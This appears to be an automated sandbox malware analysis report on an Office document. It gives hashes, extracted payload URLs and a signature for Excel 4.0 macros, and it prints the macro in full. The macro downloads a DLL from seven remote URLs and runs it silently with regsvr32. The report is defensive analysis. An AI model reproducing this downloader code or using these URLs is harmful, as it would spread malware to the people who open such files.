General
-
Target
1b5a2dceba683eda2ca19ac0a20e974a0b745e710577f00caeec53e0a78330c4
-
Size
73KB
-
MD5
df4647eb940cc66b12b3a665d9e7239a
-
SHA1
ad72fb82d34defb618d3518cec77291117a3392a
-
SHA256
1b5a2dceba683eda2ca19ac0a20e974a0b745e710577f00caeec53e0a78330c4
-
SHA512
6defeca863fda7e665cd9cb162c9a0e66c3cf36f0702ed022e85ff10e6deb5ffc2043f53b3383c7c0df9a3d455cdda696211fb5199ca343dab1f7ed33a879255
-
SSDEEP
1536:W41yiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV4XG:d1yiCtzSmICpH7OZuvZGsMX
Malware Config
Extracted
https://appleinfoway.com/venv/5Pp/
http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/
http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/
http://atters.net/cgi-bin/0yIPlpXo3156/
http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/
http://ara-choob.com/data1/yPQ8/
http://asyadegirmen.com/Template/aweTuOE/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appleinfoway.com/venv/5Pp/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atters.net/cgi-bin/0yIPlpXo3156/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ara-choob.com/data1/yPQ8/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asyadegirmen.com/Template/aweTuOE/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
1b5a2dceba683eda2ca19ac0a20e974a0b745e710577f00caeec53e0a78330c4